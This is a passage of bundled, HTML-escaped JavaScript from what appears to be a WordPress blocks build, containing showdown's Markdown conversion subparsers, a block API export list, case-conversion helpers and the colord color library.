                txt = showdown2.subParser(&quot;makeMarkdown.header&quot;)(node, globals, 4) + &quot;\n\n&quot;;
              }
              break;
            case &quot;h5&quot;:
              if (!spansOnly) {
                txt = showdown2.subParser(&quot;makeMarkdown.header&quot;)(node, globals, 5) + &quot;\n\n&quot;;
              }
              break;
            case &quot;h6&quot;:
              if (!spansOnly) {
                txt = showdown2.subParser(&quot;makeMarkdown.header&quot;)(node, globals, 6) + &quot;\n\n&quot;;
              }
              break;
            case &quot;p&quot;:
              if (!spansOnly) {
                txt = showdown2.subParser(&quot;makeMarkdown.paragraph&quot;)(node, globals) + &quot;\n\n&quot;;
              }
              break;
            case &quot;blockquote&quot;:
              if (!spansOnly) {
                txt = showdown2.subParser(&quot;makeMarkdown.blockquote&quot;)(node, globals) + &quot;\n\n&quot;;
              }
              break;
            case &quot;hr&quot;:
              if (!spansOnly) {
                txt = showdown2.subParser(&quot;makeMarkdown.hr&quot;)(node, globals) + &quot;\n\n&quot;;
              }
              break;
            case &quot;ol&quot;:
              if (!spansOnly) {
                txt = showdown2.subParser(&quot;makeMarkdown.list&quot;)(node, globals, &quot;ol&quot;) + &quot;\n\n&quot;;
              }
              break;
            case &quot;ul&quot;:
              if (!spansOnly) {
                txt = showdown2.subParser(&quot;makeMarkdown.list&quot;)(node, globals, &quot;ul&quot;) + &quot;\n\n&quot;;
              }
              break;
            case &quot;precode&quot;:
              if (!spansOnly) {
                txt = showdown2.subParser(&quot;makeMarkdown.codeBlock&quot;)(node, globals) + &quot;\n\n&quot;;
              }
              break;
            case &quot;pre&quot;:
              if (!spansOnly) {
                txt = showdown2.subParser(&quot;makeMarkdown.pre&quot;)(node, globals) + &quot;\n\n&quot;;
              }
              break;
            case &quot;table&quot;:
              if (!spansOnly) {
                txt = showdown2.subParser(&quot;makeMarkdown.table&quot;)(node, globals) + &quot;\n\n&quot;;
              }
              break;
            //
            // SPANS
            //
            case &quot;code&quot;:
              txt = showdown2.subParser(&quot;makeMarkdown.codeSpan&quot;)(node, globals);
              break;
            case &quot;em&quot;:
            case &quot;i&quot;:
              txt = showdown2.subParser(&quot;makeMarkdown.emphasis&quot;)(node, globals);
              break;
            case &quot;strong&quot;:
            case &quot;b&quot;:
              txt = showdown2.subParser(&quot;makeMarkdown.strong&quot;)(node, globals);
              break;
            case &quot;del&quot;:
              txt = showdown2.subParser(&quot;makeMarkdown.strikethrough&quot;)(node, globals);
              break;
            case &quot;a&quot;:
              txt = showdown2.subParser(&quot;makeMarkdown.links&quot;)(node, globals);
              break;
            case &quot;img&quot;:
              txt = showdown2.subParser(&quot;makeMarkdown.image&quot;)(node, globals);
              break;
            default:
              txt = node.outerHTML + &quot;\n\n&quot;;
          }
          return txt;
        });
        showdown2.subParser(&quot;makeMarkdown.paragraph&quot;, function(node, globals) {
          &quot;use strict&quot;;
          var txt = &quot;&quot;;
          if (node.hasChildNodes()) {
            var children = node.childNodes, childrenLength = children.length;
            for (var i2 = 0; i2 &lt; childrenLength; ++i2) {
              txt += showdown2.subParser(&quot;makeMarkdown.node&quot;)(children[i2], globals);
            }
          }
          txt = txt.trim();
          return txt;
        });
        showdown2.subParser(&quot;makeMarkdown.pre&quot;, function(node, globals) {
          &quot;use strict&quot;;
          var num = node.getAttribute(&quot;prenum&quot;);
          return &quot;&lt;pre&gt;&quot; + globals.preList[num] + &quot;&lt;/pre&gt;&quot;;
        });
        showdown2.subParser(&quot;makeMarkdown.strikethrough&quot;, function(node, globals) {
          &quot;use strict&quot;;
          var txt = &quot;&quot;;
          if (node.hasChildNodes()) {
            txt += &quot;~~&quot;;
            var children = node.childNodes, childrenLength = children.length;
            for (var i2 = 0; i2 &lt; childrenLength; ++i2) {
              txt += showdown2.subParser(&quot;makeMarkdown.node&quot;)(children[i2], globals);
            }
            txt += &quot;~~&quot;;
          }
          return txt;
        });
        showdown2.subParser(&quot;makeMarkdown.strong&quot;, function(node, globals) {
          &quot;use strict&quot;;
          var txt = &quot;&quot;;
          if (node.hasChildNodes()) {
            txt += &quot;**&quot;;
            var children = node.childNodes, childrenLength = children.length;
            for (var i2 = 0; i2 &lt; childrenLength; ++i2) {
              txt += showdown2.subParser(&quot;makeMarkdown.node&quot;)(children[i2], globals);
            }
            txt += &quot;**&quot;;
          }
          return txt;
        });
        showdown2.subParser(&quot;makeMarkdown.table&quot;, function(node, globals) {
          &quot;use strict&quot;;
          var txt = &quot;&quot;, tableArray = [[], []], headings = node.querySelectorAll(&quot;thead&gt;tr&gt;th&quot;), rows = node.querySelectorAll(&quot;tbody&gt;tr&quot;), i2, ii;
          for (i2 = 0; i2 &lt; headings.length; ++i2) {
            var headContent = showdown2.subParser(&quot;makeMarkdown.tableCell&quot;)(headings[i2], globals), allign = &quot;---&quot;;
            if (headings[i2].hasAttribute(&quot;style&quot;)) {
              var style = headings[i2].getAttribute(&quot;style&quot;).toLowerCase().replace(/\s/g, &quot;&quot;);
              switch (style) {
                case &quot;text-align:left;&quot;:
                  allign = &quot;:---&quot;;
                  break;
                case &quot;text-align:right;&quot;:
                  allign = &quot;---:&quot;;
                  break;
                case &quot;text-align:center;&quot;:
                  allign = &quot;:---:&quot;;
                  break;
              }
            }
            tableArray[0][i2] = headContent.trim();
            tableArray[1][i2] = allign;
          }
          for (i2 = 0; i2 &lt; rows.length; ++i2) {
            var r2 = tableArray.push([]) - 1, cols = rows[i2].getElementsByTagName(&quot;td&quot;);
            for (ii = 0; ii &lt; headings.length; ++ii) {
              var cellContent = &quot; &quot;;
              if (typeof cols[ii] !== &quot;undefined&quot;) {
                cellContent = showdown2.subParser(&quot;makeMarkdown.tableCell&quot;)(cols[ii], globals);
              }
              tableArray[r2].push(cellContent);
            }
          }
          var cellSpacesCount = 3;
          for (i2 = 0; i2 &lt; tableArray.length; ++i2) {
            for (ii = 0; ii &lt; tableArray[i2].length; ++ii) {
              var strLen = tableArray[i2][ii].length;
              if (strLen &gt; cellSpacesCount) {
                cellSpacesCount = strLen;
              }
            }
          }
          for (i2 = 0; i2 &lt; tableArray.length; ++i2) {
            for (ii = 0; ii &lt; tableArray[i2].length; ++ii) {
              if (i2 === 1) {
                if (tableArray[i2][ii].slice(-1) === &quot;:&quot;) {
                  tableArray[i2][ii] = showdown2.helper.padEnd(tableArray[i2][ii].slice(-1), cellSpacesCount - 1, &quot;-&quot;) + &quot;:&quot;;
                } else {
                  tableArray[i2][ii] = showdown2.helper.padEnd(tableArray[i2][ii], cellSpacesCount, &quot;-&quot;);
                }
              } else {
                tableArray[i2][ii] = showdown2.helper.padEnd(tableArray[i2][ii], cellSpacesCount);
              }
            }
            txt += &quot;| &quot; + tableArray[i2].join(&quot; | &quot;) + &quot; |\n&quot;;
          }
          return txt.trim();
        });
        showdown2.subParser(&quot;makeMarkdown.tableCell&quot;, function(node, globals) {
          &quot;use strict&quot;;
          var txt = &quot;&quot;;
          if (!node.hasChildNodes()) {
            return &quot;&quot;;
          }
          var children = node.childNodes, childrenLength = children.length;
          for (var i2 = 0; i2 &lt; childrenLength; ++i2) {
            txt += showdown2.subParser(&quot;makeMarkdown.node&quot;)(children[i2], globals, true);
          }
          return txt.trim();
        });
        showdown2.subParser(&quot;makeMarkdown.txt&quot;, function(node) {
          &quot;use strict&quot;;
          var txt = node.nodeValue;
          txt = txt.replace(/ +/g, &quot; &quot;);
          txt = txt.replace(/¨NBSP;/g, &quot; &quot;);
          txt = showdown2.helper.unescapeHTMLEntities(txt);
          txt = txt.replace(/([*_~|`])/g, &quot;\\$1&quot;);
          txt = txt.replace(/^(\s*)&gt;/g, &quot;\\$1&gt;&quot;);
          txt = txt.replace(/^#/gm, &quot;\\#&quot;);
          txt = txt.replace(/^(\s*)([-=]{3,})(\s*)$/, &quot;$1\\$2$3&quot;);
          txt = txt.replace(/^( {0,3}\d+)\./gm, &quot;$1\\.&quot;);
          txt = txt.replace(/^( {0,3})([+-])/gm, &quot;$1\\$2&quot;);
          txt = txt.replace(/]([\s]*)\(/g, &quot;\\]$1\\(&quot;);
          txt = txt.replace(/^ {0,3}\[([\S \t]*?)]:/gm, &quot;\\[$1]:&quot;);
          return txt;
        });
        var root = this;
        if (typeof define === &quot;function&quot; &amp;&amp; define.amd) {
          define(function() {
            &quot;use strict&quot;;
            return showdown2;
          });
        } else if (typeof module !== &quot;undefined&quot; &amp;&amp; module.exports) {
          module.exports = showdown2;
        } else {
          root.showdown = showdown2;
        }
      }).call(exports);
    }
  });

  // packages/blocks/build-module/index.mjs
  var index_exports = {};
  __export(index_exports, {
    __EXPERIMENTAL_ELEMENTS: () =&gt; __EXPERIMENTAL_ELEMENTS,
    __EXPERIMENTAL_PATHS_WITH_OVERRIDE: () =&gt; __EXPERIMENTAL_PATHS_WITH_OVERRIDE,
    __EXPERIMENTAL_STYLE_PROPERTY: () =&gt; __EXPERIMENTAL_STYLE_PROPERTY,
    __experimentalCloneSanitizedBlock: () =&gt; __experimentalCloneSanitizedBlock,
    __experimentalGetAccessibleBlockLabel: () =&gt; getAccessibleBlockLabel,
    __experimentalGetBlockAttributesNamesByRole: () =&gt; __experimentalGetBlockAttributesNamesByRole,
    __experimentalGetBlockLabel: () =&gt; getBlockLabel,
    __experimentalSanitizeBlockAttributes: () =&gt; __experimentalSanitizeBlockAttributes,
    __unstableGetBlockProps: () =&gt; getBlockProps,
    __unstableGetInnerBlocksProps: () =&gt; getInnerBlocksProps,
    __unstableSerializeAndClean: () =&gt; __unstableSerializeAndClean,
    children: () =&gt; children_default,
    cloneBlock: () =&gt; cloneBlock,
    createBlock: () =&gt; createBlock,
    createBlocksFromInnerBlocksTemplate: () =&gt; createBlocksFromInnerBlocksTemplate,
    doBlocksMatchTemplate: () =&gt; doBlocksMatchTemplate,
    findTransform: () =&gt; findTransform,
    getBlockAttributes: () =&gt; getBlockAttributes,
    getBlockAttributesNamesByRole: () =&gt; getBlockAttributesNamesByRole,
    getBlockBindingsSource: () =&gt; getBlockBindingsSource,
    getBlockBindingsSources: () =&gt; getBlockBindingsSources,
    getBlockContent: () =&gt; getBlockInnerHTML,
    getBlockDefaultClassName: () =&gt; getBlockDefaultClassName,
    getBlockFromExample: () =&gt; getBlockFromExample,
    getBlockMenuDefaultClassName: () =&gt; getBlockMenuDefaultClassName,
    getBlockSupport: () =&gt; getBlockSupport,
    getBlockTransforms: () =&gt; getBlockTransforms,
    getBlockType: () =&gt; getBlockType,
    getBlockTypes: () =&gt; getBlockTypes,
    getBlockVariations: () =&gt; getBlockVariations,
    getCategories: () =&gt; getCategories2,
    getChildBlockNames: () =&gt; getChildBlockNames,
    getDefaultBlockName: () =&gt; getDefaultBlockName,
    getFreeformContentHandlerName: () =&gt; getFreeformContentHandlerName,
    getGroupingBlockName: () =&gt; getGroupingBlockName,
    getPhrasingContentSchema: () =&gt; deprecatedGetPhrasingContentSchema,
    getPossibleBlockTransformations: () =&gt; getPossibleBlockTransformations,
    getSaveContent: () =&gt; getSaveContent,
    getSaveElement: () =&gt; getSaveElement,
    getUnregisteredTypeHandlerName: () =&gt; getUnregisteredTypeHandlerName,
    hasBlockSupport: () =&gt; hasBlockSupport,
    hasChildBlocks: () =&gt; hasChildBlocks,
    hasChildBlocksWithInserterSupport: () =&gt; hasChildBlocksWithInserterSupport,
    isReusableBlock: () =&gt; isReusableBlock,
    isTemplatePart: () =&gt; isTemplatePart,
    isUnmodifiedBlock: () =&gt; isUnmodifiedBlock,
    isUnmodifiedDefaultBlock: () =&gt; isUnmodifiedDefaultBlock,
    isValidBlockContent: () =&gt; isValidBlockContent,
    isValidIcon: () =&gt; isValidIcon,
    node: () =&gt; node_default,
    normalizeIconObject: () =&gt; normalizeIconObject,
    parse: () =&gt; parse2,
    parseWithAttributeSchema: () =&gt; parseWithAttributeSchema,
    pasteHandler: () =&gt; pasteHandler,
    privateApis: () =&gt; privateApis,
    rawHandler: () =&gt; rawHandler,
    registerBlockBindingsSource: () =&gt; registerBlockBindingsSource,
    registerBlockCollection: () =&gt; registerBlockCollection,
    registerBlockStyle: () =&gt; registerBlockStyle,
    registerBlockType: () =&gt; registerBlockType,
    registerBlockVariation: () =&gt; registerBlockVariation,
    serialize: () =&gt; serialize,
    serializeRawBlock: () =&gt; serializeRawBlock,
    setCategories: () =&gt; setCategories2,
    setDefaultBlockName: () =&gt; setDefaultBlockName,
    setFreeformContentHandlerName: () =&gt; setFreeformContentHandlerName,
    setGroupingBlockName: () =&gt; setGroupingBlockName,
    setUnregisteredTypeHandlerName: () =&gt; setUnregisteredTypeHandlerName,
    store: () =&gt; store,
    switchToBlockType: () =&gt; switchToBlockType,
    synchronizeBlocksWithTemplate: () =&gt; synchronizeBlocksWithTemplate,
    unregisterBlockBindingsSource: () =&gt; unregisterBlockBindingsSource,
    unregisterBlockStyle: () =&gt; unregisterBlockStyle,
    unregisterBlockType: () =&gt; unregisterBlockType,
    unregisterBlockVariation: () =&gt; unregisterBlockVariation,
    unstable__bootstrapServerSideBlockDefinitions: () =&gt; unstable__bootstrapServerSideBlockDefinitions,
    updateCategory: () =&gt; updateCategory2,
    validateBlock: () =&gt; validateBlock,
    withBlockContentContext: () =&gt; withBlockContentContext
  });

  // packages/blocks/build-module/store/index.mjs
  var import_data5 = __toESM(require_data(), 1);

  // node_modules/tslib/tslib.es6.mjs
  var __assign = function() {
    __assign = Object.assign || function __assign2(t3) {
      for (var s2, i2 = 1, n2 = arguments.length; i2 &lt; n2; i2++) {
        s2 = arguments[i2];
        for (var p2 in s2) if (Object.prototype.hasOwnProperty.call(s2, p2)) t3[p2] = s2[p2];
      }
      return t3;
    };
    return __assign.apply(this, arguments);
  };

  // node_modules/lower-case/dist.es2015/index.js
  function lowerCase(str) {
    return str.toLowerCase();
  }

  // node_modules/no-case/dist.es2015/index.js
  var DEFAULT_SPLIT_REGEXP = [/([a-z0-9])([A-Z])/g, /([A-Z])([A-Z][a-z])/g];
  var DEFAULT_STRIP_REGEXP = /[^A-Z0-9]+/gi;
  function noCase(input, options) {
    if (options === void 0) {
      options = {};
    }
    var _a = options.splitRegexp, splitRegexp = _a === void 0 ? DEFAULT_SPLIT_REGEXP : _a, _b = options.stripRegexp, stripRegexp = _b === void 0 ? DEFAULT_STRIP_REGEXP : _b, _c = options.transform, transform = _c === void 0 ? lowerCase : _c, _d = options.delimiter, delimiter = _d === void 0 ? &quot; &quot; : _d;
    var result = replace(replace(input, splitRegexp, &quot;$1\0$2&quot;), stripRegexp, &quot;\0&quot;);
    var start = 0;
    var end = result.length;
    while (result.charAt(start) === &quot;\0&quot;)
      start++;
    while (result.charAt(end - 1) === &quot;\0&quot;)
      end--;
    return result.slice(start, end).split(&quot;\0&quot;).map(transform).join(delimiter);
  }
  function replace(input, re, value) {
    if (re instanceof RegExp)
      return input.replace(re, value);
    return re.reduce(function(input2, re2) {
      return input2.replace(re2, value);
    }, input);
  }

  // node_modules/pascal-case/dist.es2015/index.js
  function pascalCaseTransform(input, index) {
    var firstChar = input.charAt(0);
    var lowerChars = input.substr(1).toLowerCase();
    if (index &gt; 0 &amp;&amp; firstChar &gt;= &quot;0&quot; &amp;&amp; firstChar &lt;= &quot;9&quot;) {
      return &quot;_&quot; + firstChar + lowerChars;
    }
    return &quot;&quot; + firstChar.toUpperCase() + lowerChars;
  }
  function pascalCase(input, options) {
    if (options === void 0) {
      options = {};
    }
    return noCase(input, __assign({ delimiter: &quot;&quot;, transform: pascalCaseTransform }, options));
  }

  // node_modules/camel-case/dist.es2015/index.js
  function camelCaseTransform(input, index) {
    if (index === 0)
      return input.toLowerCase();
    return pascalCaseTransform(input, index);
  }
  function camelCase(input, options) {
    if (options === void 0) {
      options = {};
    }
    return pascalCase(input, __assign({ transform: camelCaseTransform }, options));
  }

  // packages/blocks/build-module/store/reducer.mjs
  var import_data2 = __toESM(require_data(), 1);
  var import_i18n3 = __toESM(require_i18n(), 1);

  // node_modules/colord/index.mjs
  var r = { grad: 0.9, turn: 360, rad: 360 / (2 * Math.PI) };
  var t = function(r2) {
    return &quot;string&quot; == typeof r2 ? r2.length &gt; 0 : &quot;number&quot; == typeof r2;
  };
  var n = function(r2, t3, n2) {
    return void 0 === t3 &amp;&amp; (t3 = 0), void 0 === n2 &amp;&amp; (n2 = Math.pow(10, t3)), Math.round(n2 * r2) / n2 + 0;
  };
  var e = function(r2, t3, n2) {
    return void 0 === t3 &amp;&amp; (t3 = 0), void 0 === n2 &amp;&amp; (n2 = 1), r2 &gt; n2 ? n2 : r2 &gt; t3 ? r2 : t3;
  };
  var u = function(r2) {
    return (r2 = isFinite(r2) ? r2 % 360 : 0) &gt; 0 ? r2 : r2 + 360;
  };
  var a = function(r2) {
    return { r: e(r2.r, 0, 255), g: e(r2.g, 0, 255), b: e(r2.b, 0, 255), a: e(r2.a) };
  };
  var o = function(r2) {
    return { r: n(r2.r), g: n(r2.g), b: n(r2.b), a: n(r2.a, 3) };
  };
  var i = /^#([0-9a-f]{3,8})$/i;
  var s = function(r2) {
    var t3 = r2.toString(16);
    return t3.length &lt; 2 ? &quot;0&quot; + t3 : t3;
  };
  var h = function(r2) {
    var t3 = r2.r, n2 = r2.g, e2 = r2.b, u2 = r2.a, a2 = Math.max(t3, n2, e2), o3 = a2 - Math.min(t3, n2, e2), i2 = o3 ? a2 === t3 ? (n2 - e2) / o3 : a2 === n2 ? 2 + (e2 - t3) / o3 : 4 + (t3 - n2) / o3 : 0;
    return { h: 60 * (i2 &lt; 0 ? i2 + 6 : i2), s: a2 ? o3 / a2 * 100 : 0, v: a2 / 255 * 100, a: u2 };
  };
  var b = function(r2) {
    var t3 = r2.h, n2 = r2.s, e2 = r2.v, u2 = r2.a;
    t3 = t3 / 360 * 6, n2 /= 100, e2 /= 100;
    var a2 = Math.floor(t3), o3 = e2 * (1 - n2), i2 = e2 * (1 - (t3 - a2) * n2), s2 = e2 * (1 - (1 - t3 + a2) * n2), h2 = a2 % 6;
    return { r: 255 * [e2, i2, o3, o3, s2, e2][h2], g: 255 * [s2, e2, e2, i2, o3, o3][h2], b: 255 * [o3, o3, s2, e2, e2, i2][h2], a: u2 };
  };
  var g = function(r2) {
    return { h: u(r2.h), s: e(r2.s, 0, 100), l: e(r2.l, 0, 100), a: e(r2.a) };
  };
  var d = function(r2) {
    return { h: n(r2.h), s: n(r2.s), l: n(r2.l), a: n(r2.a, 3) };
  };
  var f = function(r2) {
    return b((n2 = (t3 = r2).s, { h: t3.h, s: (n2 *= ((e2 = t3.l) &lt; 50 ? e2 : 100 - e2) / 100) &gt; 0 ? 2 * n2 / (e2 + n2) * 100 : 0, v: e2 + n2, a: t3.a }));
    var t3, n2, e2;
  };
  var c = function(r2) {
    return { h: (t3 = h(r2)).h, s: (u2 = (200 - (n2 = t3.s)) * (e2 = t3.v) / 100) &gt; 0 &amp;&amp; u2 &lt; 200 ? n2 * e2 / 100 / (u2 &lt;= 100 ? u2 : 200 - u2) * 100 : 0, l: u2 / 2, a: t3.a };
    var t3, n2, e2, u2;
  };
  var l = /^hsla?\(\s*([+-]?\d*\.?\d+)(deg|rad|grad|turn)?\s*,\s*([+-]?\d*\.?\d+)%\s*,\s*([+-]?\d*\.?\d+)%\s*(?:,\s*([+-]?\d*\.?\d+)(%)?\s*)?\)$/i;
  var p = /^hsla?\(\s*([+-]?\d*\.?\d+)(deg|rad|grad|turn)?\s+([+-]?\d*\.?\d+)%\s+([+-]?\d*\.?\d+)%\s*(?:\/\s*([+-]?\d*\.?\d+)(%)?\s*)?\)$/i;
  var v = /^rgba?\(\s*([+-]?\d*\.?\d+)(%)?\s*,\s*([+-]?\d*\.?\d+)(%)?\s*,\s*([+-]?\d*\.?\d+)(%)?\s*(?:,\s*([+-]?\d*\.?\d+)(%)?\s*)?\)$/i;
  var m = /^rgba?\(\s*([+-]?\d*\.?\d+)(%)?\s+([+-]?\d*\.?\d+)(%)?\s+([+-]?\d*\.?\d+)(%)?\s*(?:\/\s*([+-]?\d*\.?\d+)(%)?\s*)?\)$/i;
  var y = { string: [[function(r2) {
    var t3 = i.exec(r2);
    return t3 ? (r2 = t3[1]).length &lt;= 4 ? { r: parseInt(r2[0] + r2[0], 16), g: parseInt(r2[1] + r2[1], 16), b: parseInt(r2[2] + r2[2], 16), a: 4 === r2.length ? n(parseInt(r2[3] + r2[3], 16) / 255, 2) : 1 } : 6 === r2.length || 8 === r2.length ? { r: parseInt(r2.substr(0, 2), 16), g: parseInt(r2.substr(2, 2), 16), b: parseInt(r2.substr(4, 2), 16), a: 8 === r2.length ? n(parseInt(r2.substr(6, 2), 16) / 255, 2) : 1 } : null : null;
  }, &quot;hex&quot;], [function(r2) {
    var t3 = v.exec(r2) || m.exec(r2);
    return t3 ? t3[2] !== t3[4] || t3[4] !== t3[6] ? null : a({ r: Number(t3[1]) / (t3[2] ? 100 / 255 : 1), g: Number(t3[3]) / (t3[4] ? 100 / 255 : 1), b: Number(t3[5]) / (t3[6] ? 100 / 255 : 1), a: void 0 === t3[7] ? 1 : Number(t3[7]) / (t3[8] ? 100 : 1) }) : null;
  }, &quot;rgb&quot;], [function(t3) {
    var n2 = l.exec(t3) || p.exec(t3);
    if (!n2) return null;
    var e2, u2, a2 = g({ h: (e2 = n2[1], u2 = n2[2], void 0 === u2 &amp;&amp; (u2 = &quot;deg&quot;), Number(e2) * (r[u2] || 1)), s: Number(n2[3]), l: Number(n2[4]), a: void 0 === n2[5] ? 1 : Number(n2[5]) / (n2[6] ? 100 : 1) });
    return f(a2);
  }, &quot;hsl&quot;]], object: [[function(r2) {
    var n2 = r2.r, e2 = r2.g, u2 = r2.b, o3 = r2.a, i2 = void 0 === o3 ? 1 : o3;
    return t(n2) &amp;&amp; t(e2) &amp;&amp; t(u2) ? a({ r: Number(n2), g: Number(e2), b: Number(u2), a: Number(i2) }) : null;
  }, &quot;rgb&quot;], [function(r2) {
    var n2 = r2.h, e2 = r2.s, u2 = r2.l, a2 = r2.a, o3 = void 0 === a2 ? 1 : a2;
    if (!t(n2) || !t(e2) || !t(u2)) return null;
    var i2 = g({ h: Number(n2), s: Number(e2), l: Number(u2), a: Number(o3) });
    return f(i2);
  }, &quot;hsl&quot;], [function(r2) {
    var n2 = r2.h, a2 = r2.s, o3 = r2.v, i2 = r2.a, s2 = void 0 === i2 ? 1 : i2;
    if (!t(n2) || !t(a2) || !t(o3)) return null;
    var h2 = (function(r3) {
      return { h: u(r3.h), s: e(r3.s, 0, 100), v: e(r3.v, 0, 100), a: e(r3.a) };
    })({ h: Number(n2), s: Number(a2), v: Number(o3), a: Number(s2) });
    return b(h2);
  }, &quot;hsv&quot;]] };
  var N = function(r2, t3) {
    for (var n2 = 0; n2 &lt; t3.length; n2++) {
      var e2 = t3[n2][0](r2);
      if (e2) return [e2, t3[n2][1]];
    }
    return [null, void 0];
  };
  var x = function(r2) {
    return &quot;string&quot; == typeof r2 ? N(r2.trim(), y.string) : &quot;object&quot; == typeof r2 &amp;&amp; null !== r2 ? N(r2, y.object) : [null, void 0];
  };
  var M = function(r2, t3) {
    var n2 = c(r2);
    return { h: n2.h, s: e(n2.s + 100 * t3, 0, 100), l: n2.l, a: n2.a };
  };
  var H = function(r2) {
    return (299 * r2.r + 587 * r2.g + 114 * r2.b) / 1e3 / 255;
  };
  var $ = function(r2, t3) {
    var n2 = c(r2);
    return { h: n2.h, s: n2.s, l: e(n2.l + 100 * t3, 0, 100), a: n2.a };
  };
  var j = (function() {
    function r2(r3) {
      this.parsed = x(r3)[0], this.rgba = this.parsed || { r: 0, g: 0, b: 0, a: 1 };
    }
    return r2.prototype.isValid = function() {
      return null !== this.parsed;
    }, r2.prototype.brightness = function() {
      return n(H(this.rgba), 2);
    }, r2.prototype.isDark = function() {
      return H(this.rgba) &lt; 0.5;
    }, r2.prototype.isLight = function() {
      return H(this.rgba) &gt;= 0.5;
    }, r2.prototype.toHex = function() {
      return r3 = o(this.rgba), t3 = r3.r, e2 = r3.g, u2 = r3.b, i2 = (a2 = r3.a) &lt; 1 ? s(n(255 * a2)) : &quot;&quot;, &quot;#&quot; + s(t3) + s(e2) + s(u2) + i2;
      var r3, t3, e2, u2, a2, i2;
    }, r2.prototype.toRgb = function() {
      return o(this.rgba);
    }, r2.prototype.toRgbString = function() {
      return r3 = o(this.rgba), t3 = r3.r, n2 = r3.g, e2 = r3.b, (u2 = r3.a) &lt; 1 ? &quot;rgba(&quot; + t3 + &quot;, &quot; + n2 + &quot;, &quot; + e2 + &quot;, &quot; + u2 + &quot;)&quot; : &quot;rgb(&quot; + t3 + &quot;, &quot; + n2 + &quot;, &quot; + e2 + &quot;)&quot;;
      var r3, t3, n2, e2, u2;
    }, r2.prototype.toHsl = function() {
      return d(c(this.rgba));
    }, r2.prototype.toHslString = function() {
      return r3 = d(c(this.rgba)), t3 = r3.h, n2 = r3.s, e2 = r3.l, (u2 = r3.a) &lt; 1 ? &quot;hsla(&quot; + t3 + &quot;, &quot; + n2 + &quot;%, &quot; + e2 + &quot;%, &quot; + u2 + &quot;)&quot; : &quot;hsl(&quot; + t3 + &quot;, &quot; + n2 + &quot;%, &quot; + e2 + &quot;%)&quot;;
      var r3, t3, n2, e2, u2;
    }, r2.prototype.toHsv = function() {
      return r3 = h(this.rgba), { h: n(r3.h), s: n(r3.s), v: n(r3.v), a: n(r3.a, 3) };
      var r3;
    }, r2.prototype.invert = function() {
      return w({ r: 255 - (r3 = this.rgba).r, g: 255 - r3.g, b: 255 - r3.b, a: r3.a });
      var r3;
    }, r2.prototype.saturate = function(r3) {
      return void 0 === r3 &amp;&amp; (r3 = 0.1), w(M(this.rgba, r3));
    }, r2.prototype.desaturate = function(r3) {
      return void 0 === r3 &amp;&amp; (r3 = 0.1), w(M(this.rgba, -r3));
    }, r2.prototype.grayscale = function() {
      return w(M(this.rgba, -1));
    }, r2.prototype.lighten = function(r3) {
      return void 0 === r3 &amp;&amp; (r3 = 0.1), w($(this.rgba, r3));
    }, r2.prototype.darken = function(r3) {
      return void 0 === r3 &amp;&amp; (r3 = 0.1), w($(this.rgba, -r3));
    }, r2.prototype.rotate = function(r3) {
      return void 0 === r3 &amp;&amp; (r3 = 15), this.hue(this.hue() + r3);
    }, r2.prototype.alpha = function(r3) {
      return &quot;number&quot; == typeof r3 ? w({ r: (t3 = this.rgba).r, g: t3.g, b: t3.b, a: r3 }) : n(this.rgba.a, 3);
      var t3;
    }, r2.prototype.hue = function(r3) {
      var t3 = c(this.rgba);
      return &quot;number&quot; == typeof r3 ? w({ h: r3, s: t3.s, l: t3.l, a: t3.a }) : n(t3.h);
    }, r2.prototype.isEqual = function(r3) {
      return this.toHex() === w(r3).toHex();
    }, r2;
  })();
  var w = function(r2) {
    return r2 instanceof j ? r2 : new j(r2);
  };
  var S = [];
  var k = function(r2) {
    r2.forEach(function(r3) {
      S.indexOf(r3) &lt; 0 &amp;&amp; (r3(j, y), S.push(r3));
    });
  };

  // node_modules/colord/plugins/names.mjs
  function names_default(e2, f2) {
    var a2 = { white: &quot;#ffffff&quot;, bisque: &quot;#ffe4c4&quot;, blue: &quot;#0000ff&quot;, cadetblue: &quot;#5f9ea0&quot;, chartreuse: &quot;#7fff00&quot;, chocolate: &quot;#d2691e&quot;, coral: &quot;#ff7f50&quot;, antiquewhite: &quot;#faebd7&quot;, aqua: &quot;#00ffff&quot;, azure: &quot;#f0ffff&quot;, whitesmoke: &quot;#f5f5f5&quot;, papayawhip: &quot;#ffefd5&quot;, plum: &quot;#dda0dd&quot;, blanchedalmond: &quot;#ffebcd&quot;, black: &quot;#000000&quot;, gold: &quot;#ffd700&quot;, goldenrod: &quot;#daa520&quot;, gainsboro: &quot;#dcdcdc&quot;, cornsilk: &quot;#fff8dc&quot;, cornflowerblue: &quot;#6495ed&quot;, burlywood: &quot;#deb887&quot;, aquamarine: &quot;#7fffd4&quot;, beige: &quot;#f5f5dc&quot;, crimson: &quot;#dc143c&quot;, cyan: &quot;#00ffff&quot;, darkblue: &quot;#00008b&quot;, darkcyan: &quot;#008b8b&quot;, darkgoldenrod: &quot;#b8860b&quot;, darkkhaki: &quot;#bdb76b&quot;, darkgray: &quot;#a9a9a9&quot;, darkgreen: &quot;#006400&quot;, darkgrey: &quot;#a9a9a9&quot;, peachpuff: &quot;#ffdab9&quot;, darkmagenta: &quot;#8b008b&quot;, darkred: &quot;#8b0000&quot;, darkorchid: &quot;#9932cc&quot;, darkorange: &quot;#ff8c00&quot;, darkslateblue: &quot;#483d8b&quot;, gray: &quot;#808080&quot;, darkslategray: &quot;#2f4f4f&quot;, darkslategrey: &quot;#2f4f4f&quot;, deeppink: &quot;#ff1493&quot;, deepskyblue: &quot;#00bfff&quot;, wheat: &quot;#f5deb3&quot;, firebrick: &quot;#b22222&quot;, floralwhite: &quot;#fffaf0&quot;, ghostwhite: &quot;#f8f8ff&quot;, darkviolet: &quot;#9400d3&quot;, magenta: &quot;#ff00ff&quot;, green: &quot;#008000&quot;, dodgerblue: &quot;#1e90ff&quot;, grey: &quot;#808080&quot;, honeydew: &quot;#f0fff0&quot;, hotpink: &quot;#ff69b4&quot;, blueviolet: &quot;#8a2be2&quot;, forestgreen: &quot;#228b22&quot;, lawngreen: &quot;#7cfc00&quot;, indianred: &quot;#cd5c5c&quot;, indigo: &quot;#4b0082&quot;, fuchsia: &quot;#ff00ff&quot;, brown: &quot;#a52a2a&quot;, maroon: &quot;#800000&quot;, mediumblue: &quot;#0000cd&quot;, lightcoral: &quot;#f08080&quot;, darkturquoise: &quot;#00ced1&quot;, lightcyan: &quot;#e0ffff&quot;, ivory: &quot;#fffff0&quot;, lightyellow: &quot;#ffffe0&quot;, lightsalmon: &quot;#ffa07a&quot;, lightseagreen: &quot;#20b2aa&quot;, linen: &quot;#faf0e6&quot;, mediumaquamarine: &quot;#66cdaa&quot;, lemonchiffon: 